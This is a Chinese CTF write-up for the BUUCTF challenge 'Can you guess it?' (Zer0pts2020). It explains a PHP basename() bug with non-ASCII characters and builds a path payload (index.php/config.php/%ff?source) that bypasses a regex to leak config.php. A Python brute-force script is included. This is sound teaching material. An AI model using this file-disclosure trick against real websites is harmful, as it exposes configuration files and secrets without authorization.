[BUUCTF][Zer0pts2020]Can you guess it?

前置知识

一些学到的新函数与新变量

新变量属性-PHP_SELF

$_SERVER['PHP_SELF'] 表示当前 php 文件相对于网站根目录的位置地址,与 document root 相关
下面是本地测试截图,也就是http://.$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF']
在这里插入图片描述

新php函数-basename

basename() 函数会返回路径中的文件名部分
假如路径是/index.php/config.php
浏览器的解析结果都是index.php
而basename会返回config.php
就算后面跟上多余的字符也会返回文件名部分
在这里插入图片描述

basename broken with non-ASCII-chars


下面是来自[官方网站](https://bugs.php.net/bug.php?id=62119)的英语描述

With the default locale setting “C”, basename() drops non-ASCII-chars
at the beginning of a filename.

var_dump(basename("xffconfig.php")); // => config.php
var_dump(basename("config.php/xff")); // => config.php

简单来说basename()函数存在一个问题,它会去掉文件名开头的非ASCII值

WP部分

这道题其实很简单,知道了上面的函数了以后,代码审计以后其实最主要的部分就是正则过滤了/config.php/*$/i,我们只需要绕过它即可,道理也很简单
它是匹配尾部
因此我们只要构造xxxxx.node3.buuoj.cn/index.php/config.php/%ff?source
一方面,绕过了正则匹配
另一方面满足了isset,从而获取到config.php
在这里插入图片描述
当然也可以用脚本试一试哪些字符不被过滤掉

import requests
import re

for i in range(0,255):
    url ='xxxxx.node3.buuoj.cn/index.php/config.php/{}?source'.format(chr(i))
    print(url)
    r = requests.get(url)
    flag = re.findall("flag\{.*?\}", r.text)
    if flag:
        print(flag)
        break


猜你喜欢

转载自blog.csdn.net/solitudi/article/details/108912334
今日推荐